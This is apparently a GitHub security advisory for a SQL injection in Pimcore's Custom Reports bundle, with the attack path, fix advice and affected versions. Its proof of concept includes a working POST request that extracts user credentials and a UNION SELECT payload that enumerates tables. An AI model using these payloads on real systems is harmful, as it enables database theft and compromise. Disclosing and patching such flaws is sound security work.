{"id":"GHSA-23rh-xw42-fq82","summary":"Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration","details":"# Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration\n\n## Summary\n\n### Impact\n\nA SQL injection vulnerability exists in the Custom Reports bundle (`bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135`). An authenticated attacker with `reports_config` permission can inject arbitrary SQL via the report configuration fields (`sql`, `from`, `where`, `groupby`), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for `ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE` keywords, which is trivially bypassable — it does not block `INSERT`, `UNION SELECT`, `LOAD_FILE()`, `INTO OUTFILE`, stacked queries, subqueries, or MySQL comment injection (`/*!*/`). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.\n\nAdditionally, the LIMIT clause at line 51 directly interpolates `$offset` and `$limit` without integer casting, creating a secondary injection point.\n\n### Patches\n\nVersions 2026.1.6, 12.3.10, 11.5.19.\n\n### Workarounds\n\n1. Restrict `reports_config` permission to only highly trusted administrators\n2. Deploy a WAF rule to block requests to `/admin/bundle/customreports/custom-report/update` containing SQL keywords in the `configuration` parameter\n3. Replace the custom SQL adapter with a parameterized query builder approach\n\n## Attack Path (Validation Evidence)\n\n```\n[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1\n    ↓ (requires reports_config permission + valid admin session)\n[Controller] CustomReportController::updateAction()\n    ↓  $configuration = decodeJson($request-\u003erequest-\u003egetString('configuration'))\n[Config Store] Configuration saved to custom_reports database table\n[Config Load] Tool\\Config::getByName() loads stdClass $config from DB\n    ↓\n[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)\n    ↓  Directly concatenates config fields:\n[Vulnerable] $sql .= \"\\n\" . $config['sql'];        // Line 92\n            $sql .= \"\\n\" . $config['from'];        // Line 103\n            $sql .= \"\\n\" . 'WHERE (' . $config['where'] . ')'; // Line 110\n            $sql .= \"\\n\" . $config['groupby'];     // Line 117\n[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\\s/i', ...)\n    ↓  ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments\n[Execution] $db-\u003efetchAllAssociative($sql);        // Line 54\n    ↓\n[Impact] Arbitrary SQL execution — full database compromise\n```\n\n## Taint Flow (Validation Evidence)\n\n```\nSource: $request-\u003erequest-\u003egetString('configuration')  (HTTP POST body, user-controlled)\n    ↓  json_decode() → stdClass\n[Store]  Persistent in database (custom_reports table)\n[Load]   Config::getByName() → stdClass $config\n    ↓  ✗ No sanitization (only bypassable regex blacklist)\n[Sink]   $db-\u003efetchAllAssociative($concatenatedSql)\n    ↓\nImpact: Attacker-controlled SQL executed against the database\n```\n\n## Proof of Concept\n\n### Steps\n\n1. Authenticate as an admin user with `reports_config` permission\n2. Send a report update request with malicious SQL in the configuration:\n\n### Request\n\n```http\nPOST /admin/bundle/customreports/custom-report/update HTTP/1.1\nHost: \u003ctarget-host\u003e\nContent-Type: application/x-www-form-urlencoded\nCookie: PHPSESSID=\u003cvalid_admin_session\u003e\n\nname=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D\n```\n\n3. Access the report data endpoint to retrieve extracted user credentials\n4. Alternatively, the `where` field can be set to:\n   ```\n   1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES\n   ```\n   to enumerate all database tables\n\n### Expected Result\n\nThe custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.\n\n## Affected Component\n\n- **File:** `bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php`\n- **Method:** `buildQueryString()` (lines 84-135), `getBaseQuery()` (lines 137-216), `getData()` (lines 25-58)\n- **Class:** `Pimcore\\Bundle\\CustomReportsBundle\\Tool\\Adapter\\Sql`\n\n## Fix Recommendation\n\nReplace the custom SQL concatenation approach with a parameterized query builder:\n\n```php\n// Instead of:\n$sql .= \"\\n\" . $config['sql'];\n$sql .= \"\\n\" . $config['from'];\n$sql .= \"\\n\" . 'WHERE (' . $config['where'] . ')';\n\n// Use a whitelist-based approach:\n// 1. Only allow predefined table names from a whitelist\n// 2. Use Doctrine QueryBuilder for WHERE conditions\n// 3. Use parameterized queries for all user-supplied values\n// 4. Cast LIMIT/OFFSET to integers\n\n$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;\n```\n\n## Resources\n\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)\n- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)","aliases":["CVE-2026-55416"],"modified":"2026-09-10T19:30:05.084198426Z","published":"2026-09-10T19:25:05Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-10T19:25:05Z"},"references":[{"type":"WEB","url":"https://github.com/pimcore/pimcore/security/advisories/GHSA-23rh-xw42-fq82"},{"type":"PACKAGE","url":"https://github.com/pimcore/pimcore"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v11.5.19"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v12.3.10"},{"type":"WEB","url":"https://github.com/pimcore/pimcore/releases/tag/v2026.1.6"}],"affected":[{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2026.1.0"},{"fixed":"2026.1.6"}]}],"versions":["v2026.1.0","v2026.1.1","v2026.1.2","v2026.1.3","v2026.1.4","v2026.1.5"],"database_specific":{"last_known_affected_version_range":"\u003c= 2026.1.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-23rh-xw42-fq82/GHSA-23rh-xw42-fq82.json"}},{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.0.0-RC1"},{"fixed":"12.3.10"}]}],"versions":["v12.0.0","v12.0.0-RC1","v12.0.0-RC2","v12.0.1","v12.0.2","v12.0.3","v12.0.4","v12.1.0","v12.1.1","v12.1.2","v12.1.3","v12.1.4","v12.1.5","v12.2.0","v12.2.1","v12.2.2","v12.2.3","v12.2.4","v12.3.0","v12.3.1","v12.3.1.1","v12.3.2","v12.3.3","v12.3.4","v12.3.5","v12.3.6","v12.3.7","v12.3.8","v12.3.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 12.3.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-23rh-xw42-fq82/GHSA-23rh-xw42-fq82.json"}},{"package":{"name":"pimcore/pimcore","ecosystem":"Packagist","purl":"pkg:composer/pimcore/pimcore"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.5.19"}]}],"versions":["10.0.8","2.2.0","2.2.1","2.2.2","2.3.0","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.1.1","4.0.0","4.0.1","4.1.0","4.1.1","4.1.2","4.1.3","4.2.0","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.4.3","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.6.4","4.6.5","v10.0.0","v10.0.0-BETA1","v10.0.0-BETA2","v10.0.0-BETA3","v10.0.0-BETA4","v10.0.1","v10.0.2","v10.0.3","v10.0.4","v10.0.5","v10.0.6","v10.0.7","v10.0.9","v10.1.0","v10.1.1","v10.1.2","v10.1.3","v10.1.4","v10.1.5","v10.2.0","v10.2.1","v10.2.10","v10.2.2","v10.2.3","v10.2.4","v10.2.5","v10.2.6","v10.2.7","v10.2.8","v10.2.9","v10.3.0","v10.3.1","v10.3.2","v10.3.3","v10.3.4","v10.3.5","v10.3.6","v10.3.7","v10.4.0","v10.4.1","v10.4.2","v10.4.3","v10.4.4","v10.4.5","v10.4.6","v10.5.0","v10.5.1","v10.5.10","v10.5.11","v10.5.12","v10.5.13","v10.5.14","v10.5.15","v10.5.16","v10.5.17","v10.5.18","v10.5.19","v10.5.2","v10.5.20","v10.5.21","v10.5.22","v10.5.23","v10.5.24","v10.5.25","v10.5.3","v10.5.4","v10.5.5","v10.5.6","v10.5.7","v10.5.8","v10.5.9","v10.6.0","v10.6.1","v10.6.2","v10.6.3","v10.6.4","v10.6.5","v10.6.6","v10.6.7","v10.6.8","v10.6.9","v11.0.0","v11.0.0-ALPHA1","v11.0.0-ALPHA2","v11.0.0-ALPHA3","v11.0.0-ALPHA4","v11.0.0-ALPHA5","v11.0.0-ALPHA6","v11.0.0-ALPHA7","v11.0.0-ALPHA8","v11.0.0-BETA1","v11.0.0-RC1","v11.0.0-RC2","v11.0.1","v11.0.10","v11.0.11","v11.0.12","v11.0.2","v11.0.3","v11.0.4","v11.0.5","v11.0.6","v11.0.7","v11.0.8","v11.0.9","v11.1.0","v11.1.0-RC1","v11.1.1","v11.1.2","v11.1.3","v11.1.4","v11.1.5","v11.1.6","v11.2.0","v11.2.1","v11.2.2","v11.2.3","v11.2.4","v11.2.5","v11.2.6","v11.2.7","v11.3.0","v11.3.0-RC1","v11.3.0-RC2","v11.3.1","v11.3.2","v11.3.3","v11.4.0","v11.4.0-RC1","v11.4.1","v11.4.2","v11.4.3","v11.4.4","v11.5.0","v11.5.0-RC1","v11.5.0-RC2","v11.5.1","v11.5.10","v11.5.11","v11.5.12","v11.5.13","v11.5.14","v11.5.14.1","v11.5.2","v11.5.3","v11.5.4","v11.5.5","v11.5.6","v11.5.7","v11.5.8","v11.5.9","v5.0.0","v5.0.0-RC","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.1.0","v5.1.0-alpha","v5.1.1","v5.1.2","v5.1.3","v5.2.0","v5.2.1","v5.2.2","v5.2.3","v5.3.0","v5.3.1","v5.4.0","v5.4.1","v5.4.2","v5.4.3","v5.4.4","v5.5.0","v5.5.1","v5.5.2","v5.5.3","v5.5.4","v5.6.0","v5.6.1","v5.6.2","v5.6.3","v5.6.4","v5.6.5","v5.6.6","v5.7.0","v5.7.1","v5.7.2","v5.7.3","v5.8.0","v5.8.1","v5.8.2","v5.8.3","v5.8.4","v5.8.5","v5.8.6","v5.8.7","v5.8.8","v5.8.9","v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.1.0","v6.1.1","v6.1.2","v6.2.0","v6.2.1","v6.2.2","v6.2.3","v6.3.0","v6.3.1","v6.3.2","v6.3.3","v6.3.4","v6.3.5","v6.3.6","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.6.0","v6.6.1","v6.6.10","v6.6.11","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.6.8","v6.6.9","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.8.0","v6.8.1","v6.8.10","v6.8.11","v6.8.12","v6.8.2","v6.8.3","v6.8.4","v6.8.5","v6.8.6","v6.8.7","v6.8.8","v6.8.9","v6.9.0","v6.9.1","v6.9.2","v6.9.3","v6.9.4","v6.9.5","v6.9.6"],"database_specific":{"last_known_affected_version_range":"\u003c 11.5.18","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-23rh-xw42-fq82/GHSA-23rh-xw42-fq82.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}